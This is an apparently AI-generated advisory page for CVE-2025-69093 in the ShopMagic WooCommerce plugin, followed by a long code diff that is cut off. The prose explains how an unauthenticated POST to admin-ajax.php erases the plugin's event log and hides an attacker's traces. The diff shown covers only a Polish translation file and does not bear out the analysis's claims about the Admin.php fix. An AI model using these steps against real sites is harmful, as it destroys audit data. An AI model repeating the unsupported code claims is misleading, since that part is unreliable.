Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-69093: ShopMagic <= 4.7.2 – Missing Authorization (shopmagic-for-woocommerce)

Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 4.7.2
Patched Version 4.7.3
Disclosed January 6, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-69093:
The ShopMagic for WooCommerce WordPress plugin, versions 4.7.2 and earlier, contains a missing authorization vulnerability. This flaw allows unauthenticated attackers to trigger a specific plugin function, leading to unauthorized actions. The vulnerability stems from an AJAX endpoint handler that lacks a capability check, granting unauthenticated users access to functionality intended for administrators.

Atomic Edge research identifies the root cause in the plugin’s AJAX handler registration. The vulnerable function `wp_ajax_nopriv_shopmagic_ajax_clear_logs` is registered in the `includes/Admin/Admin.php` file. This registration permits unauthenticated users to call the associated callback function `ajax_clear_logs`. The function clears the plugin’s event log, an action that should require administrative privileges. The missing capability check allows any user, regardless of authentication status, to invoke this function via the standard WordPress AJAX endpoint.

The exploitation method involves sending a POST request to the WordPress AJAX endpoint `/wp-admin/admin-ajax.php`. The attacker must set the `action` parameter to `shopmagic_ajax_clear_logs`. No other parameters or a nonce are required. The request triggers the `ajax_clear_logs` function, which executes the `clear_logs` method from the `ShopMagicLoggerDatabaseLogger` class. This results in the deletion of all entries from the plugin’s event log table (`wp_shopmagic_logs`).

The patch addresses the vulnerability by removing the `wp_ajax_nopriv_` hook registration. Version 4.7.3 modifies the `includes/Admin/Admin.php` file, specifically the `define_ajax_hooks` method. The change removes the line `add_action( ‘wp_ajax_nopriv_shopmagic_ajax_clear_logs’, [ $this, ‘ajax_clear_logs’ ] );`. This ensures the `ajax_clear_logs` function is only accessible via the authenticated `wp_ajax_shopmagic_ajax_clear_logs` hook. The fix enforces that a valid user session with appropriate capabilities is required to clear the logs.

Successful exploitation results in the unauthorized clearing of the ShopMagic event log. This action constitutes data destruction and can disrupt site administration by removing diagnostic and audit information. Attackers can use this to cover their tracks after other malicious activities or to cause operational disruption for administrators who rely on the log for debugging. The impact is limited to the plugin’s log data and does not directly lead to privilege escalation or remote code execution.

Differential between vulnerable and patched code

Code Diff
--- a/shopmagic-for-woocommerce/lang/shopmagic-for-woocommerce-pl_PL.l10n.php
+++ b/shopmagic-for-woocommerce/lang/shopmagic-for-woocommerce-pl_PL.l10n.php
@@ -1,2 +1,2 @@
 <?php
-return ['domain'=>'shopmagic-for-woocommerce','plural-forms'=>'nplurals=3; plural=(n==1 ? 0 : n%10>=2 && n%10<=4 && (n%100<10 || n%100>=20) ? 1 : 2);','language'=>'pl_PL','project-id-version'=>'ShopMagic for WooCommerce 4.7.2','pot-creation-date'=>'2025-12-09T14:12:55+00:00','po-revision-date'=>'YEAR-MO-DA HO:MI+ZONE','x-generator'=>'WP-CLI 2.12.0','messages'=>['ShopMagic for WooCommerce'=>'ShopMagic dla WooCommerce','Marketing Automation and Custom Email Designer for WooCommerce'=>'Automatyzacja marketingu i własne szablony maili dla WooCommerce','WP Desk'=>'WP Desk','Learn more'=>'Odwiedź','ShopMagic'=>'ShopMagic','Settings'=>'Ustawienia','Start Here'=>'Zacznij tutaj','General'=>'Ogólne','Do you want to do more to increase your sales? Learn about ShopMagic PRO'=>'Chcesz zrobić więcej, aby zwiększyć sprzedaż? Dowiedz się więcej o ShopMagic PRO','ShopMagic Pro lets you boost your superpowers as an ecommerce seller by encouraging more sales from your best customers.'=>'ShopMagic Pro pozwala zwiększyć swoje supermoce sprzedażowe dzięki zwiększeniu sprzedaży od najlepszych klientów.','Delayed Actions'=>'Opóźnione akcje','Review Requests'=>'Prośby o opinie','Customer Coupons'=>'Kupony dla klientów','and more...'=>'i więcej...','You Got It!'=>'Masz to!','Adds ability to create personalized coupon codes for customers and send them automatically.'=>'Dodaje możliwość tworzenia spersonalizowanych kuponów rabatowych i ich automatyczną wysyłkę.','Abandoned Carts'=>'Porzucone koszyki','Get ShopMagic PRO'=>'Kup ShopMagic PRO','API Key'=>'Klucz API','Add Customer to Mailchimp List'=>'Dodaj klienta do listy Mailchimp','The default list ID is'=>'Domyślny ID listy to','Double opt-in'=>'Double opt-in','Send customers an opt-in confirmation email when they subscribe. (Unchecking may be against Mailchimp policy.)'=>'Wyślij klientom wiadomość e-mail z potwierdzeniem wyrażenia zgody na subskrypcję. (Odznaczenie tej opcji może być sprzeczne z polityką Mailchimp.)','Select...'=>'Wybierz...','No lists are set yet!'=>'Żadne listy nie zostały jeszcze ustawione!','Please make sure to provide Mailchimp API key!'=>'Upewnij się, że został wpisany klucz API Mailchimp!','Mailchimp'=>'Mailchimp','Insert your API key here which you can create and get from your Mailchimp settings.'=>'Wpisz swój klucz API, który możesz utworzyć i pobrać z ustawień Mailchimp.','List'=>'Lista','The DEFAULT MailChimp List names to which you want to add clients.'=>'Domyślna lista do zapisu klientów podczas składania zamówienia.','Tags'=>'Tagi','A single text field for seller to include tags (comma separated) to be added to mailchimp upon checkout.'=>'Wpisz tagi, które mają być przypisane do kontaktów dodanych do Mailchimpa podczas zamówienia.','Send additional information to Mailchimp list'=>'Wyślij dodatkowe informacje do Mailchimp','Last name'=>'Nazwisko','Address'=>'Adres','City'=>'Miasto','State'=>'Województwo','Country'=>'Kraj','Docs'=>'Docs','Support'=>'Pomoc','Hey %s,'=>'Hej %s,','Find out more »'=>'Dowiedz się więcej »','Description'=>'Opis','To'=>'Do','Subject'=>'Tytuł','Send Email'=>'Wyslij e-mail','Template'=>'Szablon','Message'=>'Wiadomość','WooCommerce Template'=>'Szablon WooCommerce','None'=>'Brak','post type general nameShopMagic Automations'=>'Automatyzacje ShopMagic','post type singular nameAutomation'=>'Automatyzacja','admin menuShopMagic'=>'ShopMagic','automationAdd New'=>'Dodaj nową','Add New Automation'=>'Dodaj nową automatyzację','New Automation'=>'Dodaj automatyzację','Edit Automation'=>'Edytuj automatyzację','View Automation'=>'Zobacz automatyzację','Search Automations'=>'Wyszukiwanie automatyzacji','Parent Automations:'=>'Nadrzędna automatyzacja:','No Automations found.'=>'Nie znaleziono automatyzacji.','No Automations found in Trash.'=>'Nie znaleziono automatyzacji w koszu.','ShopMagic automation rules.'=>'Automatyzacje ShopMagic.','Orders'=>'Zamówienia','Order Cancelled'=>'Zamówienie anulowane','Order Completed'=>'Zamówienie zrealizowane','Order Failed'=>'Zamówienie nieudane','New Order'=>'Nowe zamówienie','Order On-Hold'=>'Zamówienie wstrzymane','Order Pending'=>'Zamówienie oczekujące na płatność','Order Processing'=>'Zamówienie w trakcie realizacji','Order Refunded'=>'Zamówienie zwrócone','No description provided for this event.'=>'Brak opisu tego zdarzenia.','Download'=>'Pobierz','Grow your business with WP Desk'=>'Rozwijaj swój biznes razem z WP Desk','Buy now'=>'Kup teraz','More info'=>'Więcej','The “%s” plugin cannot run on PHP versions older than %s. Please contact your host and ask them to upgrade.'=>'Wtyczka “%s” nie może działać na wersjach PHP starszych niż %s. Skontaktuj się z administratorem hostingu i poproś o aktualizację wersji PHP.','The “%s” plugin cannot run on WordPress versions older than %s. Please update WordPress.'=>'Wtyczka “%s” nie może działać na wersjach WordPressa starszych niż %s. Wykonaj aktualizację WordPressa.','The “%s” plugin cannot run on WooCommerce versions older than %s. Please update WooCommerce.'=>'Wtyczka “%s” nie może działać na wersjach WooCommerce starszych niż %s. Wykonaj aktualizację WooCommerce.','The “%s” plugin cannot run without OpenSSL module version at least %s. Please update OpenSSL module.'=>'Wtyczka “%s” nie może działać bez aktywacji OpenSSL co najmniej w wersji %s. Wykonaj aktualizację OpenSSL.','The “%1$s” plugin requires at least %2$s version of %3$s to work correctly. Please update it to its latest release.'=>'Do poprawnego działania wtyczki “%1$s” wymagana jest wtyczka %3$s co najmniej w wersji %2$s. Wykonaj jej aktualizację.','The “%s” plugin cannot run without %s active. Please install and activate %s plugin.'=>'Wtyczka “%s” nie może działać bez aktywacji %s. Zainstaluj i aktywuj wtyczkę %s.','The “%s” plugin requires activating %s plugin. <a href="%s">Activate %s</a>'=>'Wtyczka “%s” wymaga aktywnej wtyczki %s. <a href="%s">Włącz %s</a>','The “%s” plugin cannot run without %s PHP module installed. Please contact your host and ask them to install %s.'=>'Wtyczka “%s” nie może działać bez modułu PHP: %s. Skontaktuj się z administratorem hostingu i poproś o instalację %s.','The “%s” plugin cannot run without %s PHP setting set to %s. Please contact your host and ask them to set %s.'=>'Wtyczka “%s” nie może działać bez ustawienia PHP %s ustawionego na %s. Skontaktuj się z administratorem hostingu i poproś o ustawienie %s.','The “%s” plugin is temporarily disabled since the required %s plugin is being upgraded.'=>'Wtyczka “%s” została chwilowo wyłączona, ponieważ wymagana wtyczka %s jest właśnie aktualizowana.','Set image'=>'Wstaw obraz','Remove image'=>'Usuń obraz','Select or Upload Media'=>'Wybierz lub prześlij media','Use this media'=>'Wybierz','Search for a product…'=>'Szukaj produktu…','Disabled'=>'Wyłączono','Emergency'=>'Wypadek','Alert'=>'Ostrzeżenie','Critical'=>'Błąd krytyczny','Error'=>'Błąd','Warning'=>'Ostrzeżenie','Notice'=>'Powiadomienie','Info'=>'Informacja','Debug'=>'Debug','Can not enable WP Desk Debug log! Cannot create directory %s or this directory is not writeable!'=>'Nie można włączyć WP Desk Debug log! Nie można utworzyć katalogu %s lub brak uprawnień do zapisu w tym katalogu!','Can not enable WP Desk Debug log! Cannot create file %s!'=>'Nie można włączyć logowania błędów za pomocą WP Desk Debug! Nie można utworzyć pliku %s!','Submit & Deactivate'=>'Wyślij i dezaktywuj','You successfully opted out of collecting usage data by %1$s. If you change your mind, you can always opt in later in the plugin's quick links.'=>'Twoja rezygnacja ze zbierania danych użytkowania wtyczek przez %1$s została przyjęta. Jeśli zmienisz zdanie, zawsze możesz włączyć zgodę ponownie za pomocą szybkich linków na liście wtyczek.','Enable usage tracking'=>'Włącz śledzenie użycia','Disable usage tracking'=>'Wyłącz śledzenie użycia','Please help us improve our plugins! If you opt-in, we will collect some non-sensitive data and usage information anonymously. If you skip this, that's okay! All plugins will work just fine.'=>'Proszę pomóż nam udoskonalić nasze wtyczki! Jeśli się zgodzisz, będziemy zbierać niewrażliwe dane użytkowania anonimowo. Jeśli pominiesz ten krok, w porządku! Wszystkie wtyczki będą działać niezależnie od Twojej decyzji.','Allow & Continue →'=>'Pozwól i kontynuuj →','Skip'=>'Pomiń','What permissions are being granted?'=>'Jakie uprawnienia są przyznawane?','Your Site Overview'=>'Dane witryny','WP version, PHP info'=>'Wersja WP, wersja PHP','Plugin Usage'=>'Dane użytkowania wtyczek','Current settings and usage information of %1$s plugins'=>'Ustawienia i informacje o użytkowaniu wtyczek %1$s','Your Store Overview'=>'Dane sklepu','Anonymized and non-sensitive store usage information'=>'Tylko niewrażliwe i anonimowe dane o użytkowaniu sklepu','Current settings and usage information of WP Desk plugins'=>'Ustawienia i informacje o użytkowaniu wtyczek WP Desk','You are deactivating %s plugin.'=>'Dezaktywujesz wtyczkę %s.',' If you have a moment, please let us know why you are deactivating plugin (anonymous feedback):'=>' Jeśli masz chwilę, prosimy daj nam znać dlaczego dezaktywujesz wtyczkę (anonimowa opinia):','The plugin suddenly stopped working'=>'Wtyczka nagle przestała działać','The plugin broke my site'=>'Wtyczka zepsuła moją stronę','I found a better plugin'=>'Znalazłem lepszą wtyczkę','What's the plugin's name?'=>'Jaka to wtyczka?','I only needed the plugin for a short period'=>'Potrzebowałem wtyczki tylko przez krótki okres','I no longer need the plugin'=>'Nie potrzebuję już wtyczki','It's a temporary deactivation. I'm just debugging an issue.'=>'Jest to tymczasowa dezaktywacja, debuguję problem.','Other'=>'Inny','Kindly tell us the reason so we can improve'=>'Napisz nam powód abyśmy mogli go poprawić','Cancel'=>'Anuluj','Skip & Deactivate'=>'Pomiń i dezaktywuj','We need your help to improve <strong>WP Desk plugins</strong>, so they are more useful for you and the rest of <strong>30,000+ users</strong>. By collecting data on how you use our plugins, you will help us a lot. We will not collect any sensitive data, so you can feel safe.'=>'Potrzebujemy Twojej pomocy, aby dalej rozwijać <strong>wtyczki WP Desk</strong> i były one jeszcze bardziej pomocne dla Ciebie i pozostałych ponad <strong>30 000 użytkowników</strong>. Zbierając dane na temat tego jak korzystasz z naszych wtyczek bardzo nam w tym pomożesz. Nie będziemy zbierać żadnych danych wrażliwych, więc możesz czuć się bezpiecznie.','You successfully opted out of collecting usage data by WP Desk. If you change your mind, you can always opt in later in the plugin's quick links.'=>'Twoja rezygnacja ze zbierania danych użytkowania wtyczek przez WP Desk została przyjęta. Jeśli zmienisz zdanie, zawsze możesz włączyć zgodę ponownie za pomocą szybkich linków na liście wtyczek.','Copy and paste placeholders (including double brackets) from the metabox on the right to personalize.'=>'Kopiuj i wklej placeholdery (w tym podwójne nawiasy klamrowe) z metaboksu po prawej stronie w celu personalizacji.','+ Insert block'=>'+ Wstaw blok','Please use visual editor to insert blocks.'=>'Używaj wizualnego edytora, aby wstawiać bloki.','Add a predefined content to speed up your automation creation.'=>'Dodaj gotową zawartość, aby przyspieszyć tworzenie automatyzacji.','Content blocks'=>'Bloki treści','Triggered when a customer resets their password'=>'Uruchamiane, gdy klient zresetuje swoje hasło','Password Reset Event'=>'Reset hasła','Triggered when new customer account gets created via WooCommerce'=>'Uruchamiane, gdy klient tworzy konto przez WooCommerce','New Account Event'=>'Nowe konto','Triggered when an order fails'=>'Uruchamiane, gdy status zamówienia zmieni się na nieudane','Triggered when order status is set to cancelled'=>'Uruchamiane, gdy status zamówienia zmieni się na anulowane','Triggered when order is pending'=>'Uruchamiane, gdy status zamówienia zmieni się na oczekujące na płatność','Triggered when order status is set to completed'=>'Uruchamiane, gdy status zamówienia zmieni się na zrealizowane','Triggered when the order has been refunded'=>'Uruchamiane, gdy status zamówienia zmieni się na zwrócone','Triggered when order status is set to On-Hold'=>'Uruchamiane, gdy status zamówienia zmieni się na wstrzymane','Triggered when a new order is created'=>'Uruchamiane, gdy zamówienie zostanie utworzone przez formularz zamówienia','Triggered when order status is processing'=>'Uruchamiane, gdy status zamówienia zmieni się na w trakcie realizacji','Filter for specified product.'=>'Filtr dla wybranego produktu.','Product'=>'Produkt','Upgrade'=>'Kup PRO','User Management'=>'Użytkownicy','ShopMagic required WooCommerce to be installed and activated.'=>'ShopMagic wymaga zainstalowania i aktywowania WooCommerce.','Filter'=>'Filtr','Setup Mailchimp or other email service add-on first.'=>'Skonfiguruj Mailchimp lub inny dodatek do usługi poczty elektronicznej.','Ask customers to subscribe to your mailing list on checkout.'=>'Poproś klientów o zapisanie się na listę mailingową podczas składania zamówienia.','Subscribe on checkout'=>'Zapisuj podczas składania zamówienia','Click on the appropriate ShopMagic add-on settings tab above.'=>'Wybierz odpowiednią zakładkę z menu powyżej.','General Settings'=>'Ustawienia główne','Event Log'=>'Dziennik zdarzeń','Log activity to wp_log file'=>'Zapisuj aktywności do pliku wp_log','Warning: May lead to inflated database if enabled permanently - use for temporary testing only.'=>'Ostrzeżenie: Może to prowadzić do zwiększenia objętości bazy danych, jeśli jest włączona na stałe - używaj tylko do testów.','Store messages (generated by events and actions) in the event log. Useful for debugging and monitoring.'=>'Przechowuj wiadomości (generowane przez zdarzenia i akcje) w dzienniku zdarzeń. Przydatne do usuwania błędów i monitorowania.','Log all activity'=>'Zapisuj wszystkie aktywności','Tools to help you see what's going on under the hood.'=>'Narzędzia, które pomogą ci zobaczyć, co się dzieje pod maską.','Debug Settings'=>'Ustawienia debugowania','Mailchimp Settings'=>'Ustawienia Mailchimp','Please make sure about the MailChimp API key provided !'=>'Upewnij się, że klucz API MailChimp jest uzupełniony!','Thank you for installing ShopMagic for WooCommerce! %1$sLearn how to get started%3$s or %2$screate your first automation →%3$s'=>'Dziękujemy za zainstalowanie ShopMagic dla WooCommerce! %1$sDowiedz się jak zacząć%3$s lub %2$sutwórz pierwszą automatyzację →%3$s','ID'=>'ID','Source'=>'Źródło','Severity'=>'Istotność','Time'=>'Czas','#'=>'#','No events avaliable.'=>'Brak dostępnych zdarzeń.','Events'=>'Zdarzenia','+ New Action'=>'+ Nowa akcja','In order to change action, remove the old one and a new one.'=>'Aby zmienić typ akcji, należy usunąć starą i dodać nową.','Remove Action'=>'Usuń akcję','Description for your reference'=>'Opis widoczny w panelu','Action #'=>'Akcja #','Network connection error'=>'Błąd połączenia sieciowego','Toggle panel: Action'=>'Pokaż/ukryj: Akcje',' Automations not working?'=>' Automatyzacje nie działają?','Make sure that you are placing an order using the front-end of your store when testing automations, not by clicking the Add Order button in WooCommerce → Orders. If you're still not receiving emails, click to read our guide.'=>'Upewnij się, że składasz zamówienie korzystając ze swojego sklepu, a nie w panelu admina klikając przycisk Dodaj zamówienie w WooCommerce → Zamówienia. Jeśli nadal nie otrzymujesz wiadomości e-mail, kliknij, aby przeczytać nasz przewodnik.','Sign me up!'=>'Zapisz mnie!','You will be asked to confirm your email in the next step.'=>'W następnym kroku jest wymagane potwierdzenie swojego e-maila .','Enter your e-mail...'=>'Podaj swój e-mail...','Your e-mail'=>'Twój e-mail','We'll email you periodically when we release new addons and add new features!'=>'Co jakiś czas będziemy wysyłać do ciebie e-maile, gdy będziemy publikować nowe dodatki i dodawać nowe funkcje!','Sign up to get ShopMagic updates!'=>'Zarejestruj się, aby otrzymywać nowości o ShopMagic!','Display popups on the frontend of your store each time a sale is made to encourage trust.'=>'Wyświetlaj wyskakujące okienka w sklepie, gdy składane jest zamówienia, aby budować zaufanie.','Recent Order Popups'=>'Popupy','In development'=>'W trakcie tworzenia','Allows to save customer details on a partial WooCommerce purchase and send abandoned cart emails.'=>'Umożliwia zapisywanie danych o porzuconych koszykach i automatyczną wysyłkę e-maili.','Allows to redirect customers after purchase to a custom thank you page and show an upsell.'=>'Pozwala na przekierowanie klientów po zakupie na stronę z podziękowaniami i pokazanie upsella.','After Purchase Upsells'=>'Upselle','Adds ability to subscribe customers to mailing lists in ActiveCampaign and AWeber upon checkout.'=>'Dodaje możliwość zapisu klientów na listy mailingowe w ActiveCampaign i AWeber przy zamówieniu.','Add to Mailing List'=>'Listy mailingowe','Adds review requests with direct links to products purchased in order for customers to review.'=>'Dodaje prośby o opinie z bezpośrednimi linkami do zakupionych produktów, aby klienci mogli je ocenić.','Allows automations delay by minutes, hours, days or weeks after the original event or last action.'=>'Umożliwia wykonanie akcji o minuty, godziny, dni lub tygodnie po pierwotnym zdarzeniu lub ostatniej akcji.','We've built a powerful platform that works to accomplish automation for your store in order to help you make more money and scale your business.'=>'Stworzyliśmy potężną platformę, która działa na rzecz automatyzacji twojego sklepu, aby pomóc ci zarobić więcej pieniędzy i zwiększyć skalę działalności.','Do more with ShopMagic PRO'=>'Zrób więcej z ShopMagic PRO','How to design customized order confirmation emails'=>'Jak zaprojektować e-maile z potwierdzeniem zamówienia','How to send automated thank you emails'=>'Jak wysyłać automatyczne e-maile z podziękowaniem','How to set up your first automation'=>'Jak skonfigurować swoją pierwszą automatyzację','So now when a customer makes a purchase, ShopMagic will send them an automatic email congratulating them and thanking them for their purchase.'=>'Teraz, gdy klient dokona zakupu, ShopMagic wyśle mu automatyczną wiadomość e-mail z podziękowaniem za zakup.','Choose an Action you'd like to happen. Example: Send Email. Now write a follow-up email to their order.'=>'Wybierz akcję do uruchomienia. Przykład: Wyślij e-mail. Teraz wpisz treść maila do zamówienia klienta.','Step #3:'=>'Krok 3:','Choose an Event to trigger your automation. Example: Order Completed.'=>'Wybierz zdarzenie, aby uruchomić automatyzację. Przykład: Zamówienie zrealizowane.','Step #2:'=>'Krok 2:','Start by creating a %snew Automation →%s'=>'Zacznij od utworzenia %snowej automatyzacji→%s','Step #1:'=>'Krok 1:','Getting Started'=>'Pierwsze kroki','WooCommerce marketing automation to make you more money'=>'Automatyzacja marketingu dla WooCommerce stworzona, aby zarabiać więcej pieniędzy','ShopMagic %s'=>'ShopMagic %s','All Automations'=>'Wszystkie automatyzacje','add new on admin barAutomation'=>'Automatyzacja','This Filter is not available for the above event'=>'Ten filtr nie jest dostępny dla powyższego zdarzenia','Subscribe to our newsletter '=>'Zapisz się do newslettera ','Please, visit settings page →'=>'Przejdź do ustawień →','Not assigned yet!'=>'Jeszcze nie przydzielone!','This Filter is not available for the above filter'=>'Ten filtr nie jest dostępny dla powyższego filtra','No description provided for this filter.'=>'Brak opisu tego filtra.','Shopmagic Debug'=>'Debug ShopMagic','Add'=>'Dodaj','Add products'=>'Dodaj produkty','Add product'=>'Dodaj produkt','Product for watching'=>'Produkt','Welcome to the world of awesomeness automations! Let the magic begin!'=>'Witamy w świecie niesamowitych automatyzacji! Niech rozpocznie się magia!','ShopMagic has been successfully activated'=>'ShopMagic został włączony','https://shopmagic.app/'=>'https://shopmagic.app/','The “%s” plugin requires free %s plugin. <a href="%s">Install%s</a>'=>'Wtyczka “%s” wymaga bezpłatnej wtyczki %s. <a href="%s">Zainstaluj %s</a>','Allow'=>'Pozwól']];
 No newline at end of file
+return ['domain'=>'shopmagic-for-woocommerce','plural-forms'=>'nplurals=3; plural=(n==1 ? 0 : n%10>=2 && n%10<=4 && (n%100<10 || n%100>=20) ? 1 : 2);','language'=>'pl_PL','project-id-version'=>'ShopMagic for WooCommerce 4.7.3','pot-creation-date'=>'2025-12-15T12:59:26+00:00','po-revision-date'=>'YEAR-MO-DA HO:MI+ZONE','x-generator'=>'WP-CLI 2.12.0','messages'=>['ShopMagic for WooCommerce'=>'ShopMagic dla WooCommerce','Marketing Automation and Custom Email Designer for WooCommerce'=>'Automatyzacja marketingu i własne szablony maili dla WooCommerce','WP Desk'=>'WP Desk','Learn more'=>'Odwiedź','ShopMagic'=>'ShopMagic','Settings'=>'Ustawienia','Start Here'=>'Zacznij tutaj','General'=>'Ogólne','Do you want to do more to increase your sales? Learn about ShopMagic PRO'=>'Chcesz zrobić więcej, aby zwiększyć sprzedaż? Dowiedz się więcej o ShopMagic PRO','ShopMagic Pro lets you boost your superpowers as an ecommerce seller by encouraging more sales from your best customers.'=>'ShopMagic Pro pozwala zwiększyć swoje supermoce sprzedażowe dzięki zwiększeniu sprzedaży od najlepszych klientów.','Delayed Actions'=>'Opóźnione akcje','Review Requests'=>'Prośby o opinie','Customer Coupons'=>'Kupony dla klientów','and more...'=>'i więcej...','You Got It!'=>'Masz to!','Adds ability to create personalized coupon codes for customers and send them automatically.'=>'Dodaje możliwość tworzenia spersonalizowanych kuponów rabatowych i ich automatyczną wysyłkę.','Abandoned Carts'=>'Porzucone koszyki','Get ShopMagic PRO'=>'Kup ShopMagic PRO','API Key'=>'Klucz API','Add Customer to Mailchimp List'=>'Dodaj klienta do listy Mailchimp','The default list ID is'=>'Domyślny ID listy to','Double opt-in'=>'Double opt-in','Send customers an opt-in confirmation email when they subscribe. (Unchecking may be against Mailchimp policy.)'=>'Wyślij klientom wiadomość e-mail z potwierdzeniem wyrażenia zgody na subskrypcję. (Odznaczenie tej opcji może być sprzeczne z polityką Mailchimp.)','Select...'=>'Wybierz...','No lists are set yet!'=>'Żadne listy nie zostały jeszcze ustawione!','Please make sure to provide Mailchimp API key!'=>'Upewnij się, że został wpisany klucz API Mailchimp!','Mailchimp'=>'Mailchimp','Insert your API key here which you can create and get from your Mailchimp settings.'=>'Wpisz swój klucz API, który możesz utworzyć i pobrać z ustawień Mailchimp.','List'=>'Lista','The DEFAULT MailChimp List names to which you want to add clients.'=>'Domyślna lista do zapisu klientów podczas składania zamówienia.','Tags'=>'Tagi','A single text field for seller to include tags (comma separated) to be added to mailchimp upon checkout.'=>'Wpisz tagi, które mają być przypisane do kontaktów dodanych do Mailchimpa podczas zamówienia.','Send additional information to Mailchimp list'=>'Wyślij dodatkowe informacje do Mailchimp','Last name'=>'Nazwisko','Address'=>'Adres','City'=>'Miasto','State'=>'Województwo','Country'=>'Kraj','Docs'=>'Docs','Support'=>'Pomoc','Hey %s,'=>'Hej %s,','Find out more »'=>'Dowiedz się więcej »','Description'=>'Opis','To'=>'Do','Subject'=>'Tytuł','Send Email'=>'Wyslij e-mail','Template'=>'Szablon','Message'=>'Wiadomość','WooCommerce Template'=>'Szablon WooCommerce','None'=>'Brak','post type general nameShopMagic Automations'=>'Automatyzacje ShopMagic','post type singular nameAutomation'=>'Automatyzacja','admin menuShopMagic'=>'ShopMagic','automationAdd New'=>'Dodaj nową','Add New Automation'=>'Dodaj nową automatyzację','New Automation'=>'Dodaj automatyzację','Edit Automation'=>'Edytuj automatyzację','View Automation'=>'Zobacz automatyzację','Search Automations'=>'Wyszukiwanie automatyzacji','Parent Automations:'=>'Nadrzędna automatyzacja:','No Automations found.'=>'Nie znaleziono automatyzacji.','No Automations found in Trash.'=>'Nie znaleziono automatyzacji w koszu.','ShopMagic automation rules.'=>'Automatyzacje ShopMagic.','Orders'=>'Zamówienia','Order Cancelled'=>'Zamówienie anulowane','Order Completed'=>'Zamówienie zrealizowane','Order Failed'=>'Zamówienie nieudane','New Order'=>'Nowe zamówienie','Order On-Hold'=>'Zamówienie wstrzymane','Order Pending'=>'Zamówienie oczekujące na płatność','Order Processing'=>'Zamówienie w trakcie realizacji','Order Refunded'=>'Zamówienie zwrócone','No description provided for this event.'=>'Brak opisu tego zdarzenia.','Download'=>'Pobierz','Grow your business with WP Desk'=>'Rozwijaj swój biznes razem z WP Desk','Buy now'=>'Kup teraz','More info'=>'Więcej','The “%s” plugin cannot run on PHP versions older than %s. Please contact your host and ask them to upgrade.'=>'Wtyczka “%s” nie może działać na wersjach PHP starszych niż %s. Skontaktuj się z administratorem hostingu i poproś o aktualizację wersji PHP.','The “%s” plugin cannot run on WordPress versions older than %s. Please update WordPress.'=>'Wtyczka “%s” nie może działać na wersjach WordPressa starszych niż %s. Wykonaj aktualizację WordPressa.','The “%s” plugin cannot run on WooCommerce versions older than %s. Please update WooCommerce.'=>'Wtyczka “%s” nie może działać na wersjach WooCommerce starszych niż %s. Wykonaj aktualizację WooCommerce.','The “%s” plugin cannot run without OpenSSL module version at least %s. Please update OpenSSL module.'=>'Wtyczka “%s” nie może działać bez aktywacji OpenSSL co najmniej w wersji %s. Wykonaj aktualizację OpenSSL.','The “%1$s” plugin requires at least %2$s version of %3$s to work correctly. Please update it to its latest release.'=>'Do poprawnego działania wtyczki “%1$s” wymagana jest wtyczka %3$s co najmniej w wersji %2$s. Wykonaj jej aktualizację.','The “%s” plugin cannot run without %s active. Please install and activate %s plugin.'=>'Wtyczka “%s” nie może działać bez aktywacji %s. Zainstaluj i aktywuj wtyczkę %s.','The “%s” plugin requires activating %s plugin. <a href="%s">Activate %s</a>'=>'Wtyczka “%s” wymaga aktywnej wtyczki %s. <a href="%s">Włącz %s</a>','The “%s” plugin cannot run without %s PHP module installed. Please contact your host and ask them to install %s.'=>'Wtyczka “%s” nie może działać bez modułu PHP: %s. Skontaktuj się z administratorem hostingu i poproś o instalację %s.','The “%s” plugin cannot run without %s PHP setting set to %s. Please contact your host and ask them to set %s.'=>'Wtyczka “%s” nie może działać bez ustawienia PHP %s ustawionego na %s. Skontaktuj się z administratorem hostingu i poproś o ustawienie %s.','The “%s” plugin is temporarily disabled since the required %s plugin is being upgraded.'=>'Wtyczka “%s” została chwilowo wyłączona, ponieważ wymagana wtyczka %s jest właśnie aktualizowana.','Set image'=>'Wstaw obraz','Remove image'=>'Usuń obraz','Select or Upload Media'=>'Wybierz lub prześlij media','Use this media'=>'Wybierz','Search for a product…'=>'Szukaj produktu…','Disabled'=>'Wyłączono','Emergency'=>'Wypadek','Alert'=>'Ostrzeżenie','Critical'=>'Błąd krytyczny','Error'=>'Błąd','Warning'=>'Ostrzeżenie','Notice'=>'Powiadomienie','Info'=>'Informacja','Debug'=>'Debug','Can not enable WP Desk Debug log! Cannot create directory %s or this directory is not writeable!'=>'Nie można włączyć WP Desk Debug log! Nie można utworzyć katalogu %s lub brak uprawnień do zapisu w tym katalogu!','Can not enable WP Desk Debug log! Cannot create file %s!'=>'Nie można włączyć logowania błędów za pomocą WP Desk Debug! Nie można utworzyć pliku %s!','Submit & Deactivate'=>'Wyślij i dezaktywuj','You successfully opted out of collecting usage data by %1$s. If you change your mind, you can always opt in later in the plugin's quick links.'=>'Twoja rezygnacja ze zbierania danych użytkowania wtyczek przez %1$s została przyjęta. Jeśli zmienisz zdanie, zawsze możesz włączyć zgodę ponownie za pomocą szybkich linków na liście wtyczek.','Enable usage tracking'=>'Włącz śledzenie użycia','Disable usage tracking'=>'Wyłącz śledzenie użycia','Please help us improve our plugins! If you opt-in, we will collect some non-sensitive data and usage information anonymously. If you skip this, that's okay! All plugins will work just fine.'=>'Proszę pomóż nam udoskonalić nasze wtyczki! Jeśli się zgodzisz, będziemy zbierać niewrażliwe dane użytkowania anonimowo. Jeśli pominiesz ten krok, w porządku! Wszystkie wtyczki będą działać niezależnie od Twojej decyzji.','Allow & Continue →'=>'Pozwól i kontynuuj →','Skip'=>'Pomiń','What permissions are being granted?'=>'Jakie uprawnienia są przyznawane?','Your Site Overview'=>'Dane witryny','WP version, PHP info'=>'Wersja WP, wersja PHP','Plugin Usage'=>'Dane użytkowania wtyczek','Current settings and usage information of %1$s plugins'=>'Ustawienia i informacje o użytkowaniu wtyczek %1$s','Your Store Overview'=>'Dane sklepu','Anonymized and non-sensitive store usage information'=>'Tylko niewrażliwe i anonimowe dane o użytkowaniu sklepu','Current settings and usage information of WP Desk plugins'=>'Ustawienia i informacje o użytkowaniu wtyczek WP Desk','You are deactivating %s plugin.'=>'Dezaktywujesz wtyczkę %s.',' If you have a moment, please let us know why you are deactivating plugin (anonymous feedback):'=>' Jeśli masz chwilę, prosimy daj nam znać dlaczego dezaktywujesz wtyczkę (anonimowa opinia):','The plugin suddenly stopped working'=>'Wtyczka nagle przestała działać','The plugin broke my site'=>'Wtyczka zepsuła moją stronę','I found a better plugin'=>'Znalazłem lepszą wtyczkę','What's the plugin's name?'=>'Jaka to wtyczka?','I only needed the plugin for a short 